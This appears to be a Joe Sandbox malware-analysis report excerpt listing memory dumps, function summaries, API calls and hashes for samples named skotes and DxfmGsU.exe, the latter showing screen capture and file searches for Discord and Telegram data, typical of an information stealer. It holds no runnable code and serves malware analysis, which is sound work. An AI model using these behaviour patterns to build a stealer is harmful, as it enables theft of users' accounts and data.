Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 684a32b6bcd722e812cf7ab3e174cbef6f2de991eb4a589f1cc09e254a11fe33
Instruction ID: 13759d698bc927f3a1c6606daa094e9a5ddcbe28064b040940955906d0ff9a15
Opcode Fuzzy Hash: 684a32b6bcd722e812cf7ab3e174cbef6f2de991eb4a589f1cc09e254a11fe33
Instruction Fuzzy Hash: B0213432704300DBEB189BACEC95B6CF766FFC1321F204219E418D73E2DBB5A9818652

Function 0080A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0080A963
CreateMutexA.KERNELBASE(00000000,00000000,00863254), ref: 0080A981

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b16ff00ffd162bc2836a51cb86dac08ff0bd4088f4ee5ae33a9d8a178d599e15
Instruction ID: cd8d8e9078002399a6c0393b57536fe196841a25cc5728e038bd0612cb54d8ce
Opcode Fuzzy Hash: b16ff00ffd162bc2836a51cb86dac08ff0bd4088f4ee5ae33a9d8a178d599e15
Instruction Fuzzy Hash: 44214C31749300DBFB6CA7AC9C97B3DB651FF82300F248826E504D63D2CB7A59818193

Function 0080A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0080A963
CreateMutexA.KERNELBASE(00000000,00000000,00863254), ref: 0080A981

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 947251a4d30f0432bc61d3652c77c5cae27b2f60f14dd476ee498ba0ed7afdff
Instruction ID: 83a5fd34b50fee772fbf9de140630c0b64cf7feadb0967cdca8eacef14aacea7
Opcode Fuzzy Hash: 947251a4d30f0432bc61d3652c77c5cae27b2f60f14dd476ee498ba0ed7afdff
Instruction Fuzzy Hash: AF2137327043049BEB1C9B6CEC8576CBB66FFD6325F244219E414D77E1CB7565808292

Non-executed Functions

Function 0083CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0083CC66

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 5b4bb9036be1cb1c8911c4d6aa8cbb6c6b400c2956f1ef8de68a35f9494763fa
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: AAB125329046899FDB15CF68C8817BEBBE5FF95340F14816AE855FB242D6349D02CBE1

Function 00802EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00802F5F
__Mtx_unlock.LIBCPMT ref: 00802FCC
__Mtx_unlock.LIBCPMT ref: 008030F5
__Mtx_unlock.LIBCPMT ref: 0080319B

Memory Dump Source

Source File: 00000001.00000002.1843663722.0000000000801000.00000040.00000001.01000000.00000008.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.1843641693.0000000000800000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843663722.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843738948.0000000000869000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843756507.000000000086B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843794188.0000000000877000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843913499.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843944752.00000000009D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1843970178.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844114339.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844148973.0000000000A01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844303455.0000000000A26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844339055.0000000000A27000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844372607.0000000000A2F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844413878.0000000000A3D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844450546.0000000000A58000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844473937.0000000000A5C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844490810.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844508829.0000000000A62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844524663.0000000000A63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844547874.0000000000A67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844575421.0000000000A74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844592951.0000000000A79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844610030.0000000000A80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844627113.0000000000A85000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844644693.0000000000A8D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844661133.0000000000A8E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844678293.0000000000A96000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844694907.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844763430.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844779295.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844795862.0000000000AFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844814152.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844830929.0000000000B02000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844848493.0000000000B07000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844877052.0000000000B09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1844896415.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 97e7370781d90ad05c13b5a2c70c5387c372c995a2e7fc09c1cc8c6c85347408
Instruction ID: b76015d4aad980bd1b92e091eaaf0fb2e013d76d4d2a84ca6d95f289d2c4ea43
Opcode Fuzzy Hash: 97e7370781d90ad05c13b5a2c70c5387c372c995a2e7fc09c1cc8c6c85347408
Instruction Fuzzy Hash: AAA1F1B0A01615EFDB60DFA9CC457AAB7ACFF19314F048129E815D7281EB71EA44CBD2

Analysis Process: DxfmGsU.exePID: 7824, Parent PID: 7592COMMON

Execution Graph

Execution Coverage:	27.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	35.7%
Total number of Nodes:	384
Total number of Limit Nodes:	8

Executed Functions

Function 00BD4C2D Relevance: 35.2, APIs: 13, Strings: 7, Instructions: 208
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BD475F: GetModuleHandleA.KERNEL32(ntdl,0000011C,?,?,?,?,?,?,?,00BD489D), ref: 00BD4771
Part of subcall function 00BD475F: LoadLibraryA.KERNELBASE(ntdl,?,?,?,?,?,?,?,00BD489D), ref: 00BD477E

KiUserCallbackDispatcher.NTDLL(0000004C), ref: 00BD4C9E
GetSystemMetrics.USER32(0000004D), ref: 00BD4CA5
GetDC.USER32(00000000), ref: 00BD4CE0
GetCurrentObject.GDI32(00000000,00000007), ref: 00BD4CF3
GetObjectW.GDI32(00000000,00000018,?), ref: 00BD4D0C
DeleteObject.GDI32(00000000), ref: 00BD4D3E
CreateCompatibleDC.GDI32(00000000), ref: 00BD4D9F
CreateDIBSection.GDI32(00000000,?,00000000,?,00000000,00000000), ref: 00BD4DC0
SelectObject.GDI32(00000000,00000000), ref: 00BD4DD2
BitBlt.GDI32(00000000,00000000,00000000,?,00BD24F5,00000000,?,?,00CC0020), ref: 00BD4DF7

Part of subcall function 00BD3595: EnterCriticalSection.KERNEL32(00BD84D4,?,?,00BD3C72,?,00BD22DE), ref: 00BD359F
Part of subcall function 00BD3595: GetProcessHeap.KERNEL32(00000008,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35A8
Part of subcall function 00BD3595: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35AF
Part of subcall function 00BD3595: LeaveCriticalSection.KERNEL32(00BD84D4,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35B8

Part of subcall function 00BD3E03: EnterCriticalSection.KERNEL32(00BD84D4,?,0000011C), ref: 00BD3E15

Part of subcall function 00BD35C3: GetProcessHeap.KERNEL32(00000000,00000000,00BD26DC), ref: 00BD35CA
Part of subcall function 00BD35C3: RtlFreeHeap.NTDLL(00000000), ref: 00BD35D1

DeleteObject.GDI32(00000000), ref: 00BD4E95
DeleteDC.GDI32(00000000), ref: 00BD4E9C
ReleaseDC.USER32(00000000,00000000), ref: 00BD4EA5

Strings

2, xrefs: 00BD4C55
gdi3, xrefs: 00BD4C49
U, xrefs: 00BD4C5E
- ScreenSize: {lWidth=%d, lHeight=%d}, xrefs: 00BD4D28
6, xrefs: 00BD4D84
(, xrefs: 00BD4D78
er32, xrefs: 00BD4C65

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: Object$HeapSection$CriticalDelete$CreateEnterProcess$AllocateCallbackCompatibleCurrentDispatcherFreeHandleLeaveLibraryLoadMetricsModuleReleaseSelectSystemUser
String ID: ($- ScreenSize: {lWidth=%d, lHeight=%d}$2$6$U$er32$gdi3
API String ID: 1387450592-1028866296
Opcode ID: 96ae7d532eb9af531ca73b8545d980142ff29d65d23053afdcabe278eb7922be
Instruction ID: ada0aba44228cbd26d4a4b41fe5d152864d2530c2bbd3cde2ab840c56dd4909c
Opcode Fuzzy Hash: 96ae7d532eb9af531ca73b8545d980142ff29d65d23053afdcabe278eb7922be
Instruction Fuzzy Hash: 90717E71E01208ABDB25DBA4DC56BEEFBB5EF44700F14409AE505BB291EF709A04CB65

Function 00BD1000 Relevance: 21.7, APIs: 4, Strings: 8, Instructions: 700
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,?), ref: 00BD13D1

Part of subcall function 00BD4108: GetFileAttributesW.KERNELBASE(00AA37A8,00BD1035,00AA37A8,?), ref: 00BD4109

Part of subcall function 00BD3595: EnterCriticalSection.KERNEL32(00BD84D4,?,?,00BD3C72,?,00BD22DE), ref: 00BD359F
Part of subcall function 00BD3595: GetProcessHeap.KERNEL32(00000008,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35A8
Part of subcall function 00BD3595: RtlAllocateHeap.NTDLL(00000000,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35AF
Part of subcall function 00BD3595: LeaveCriticalSection.KERNEL32(00BD84D4,?,?,?,00BD3C72,?,00BD22DE), ref: 00BD35B8

FindFirstFileW.KERNELBASE(00000000,?,00AA37A8,?), ref: 00BD1161

Part of subcall function 00BD3F87: FindFirstFileW.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00BD3FE8
Part of subcall function 00BD3F87: FindNextFileW.KERNEL32(00BD179D,?), ref: 00BD4089

EnterCriticalSection.KERNEL32(00BD84D4), ref: 00BD16F5
LeaveCriticalSection.KERNEL32(00BD84D4), ref: 00BD170E

Strings

%s%s, xrefs: 00BD150B, 00BD1854, 00BD19EA, 00BD1A4F
7a?=, xrefs: 00BD1730
%s\*, xrefs: 00BD112A
%s\%s, xrefs: 00BD11A2
Discord/, xrefs: 00BD13AF
7a?=, xrefs: 00BD1364
Telegram, xrefs: 00BD16FB
$Lr, xrefs: 00BD1281

Memory Dump Source

Source File: 00000006.00000002.2429707270.0000000000BD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.2429685349.0000000000BD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429732202.0000000000BD7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429755679.0000000000BD8000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2429774779.0000000000BD9000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_DxfmGsU.jbxd

Yara matches

Similarity

API ID: File$CriticalFindSection$EnterFirstHeapLeaveNext$AllocateAttributesProcess
String ID: $Lr$%s%s$%s\%s$%s\*$7a?=$7a?=$Discord/$Telegram
API String ID: 1893179121-60960798
Opcode ID: aed2f5dbcf58cfb3b9eb99b4dadb6cc83ca6bdba91d820180e538d50987a803b
Instruction ID: 552bf11375917b234edaa59625ddc6fc0ca1904e9611f451c6023244228a712c
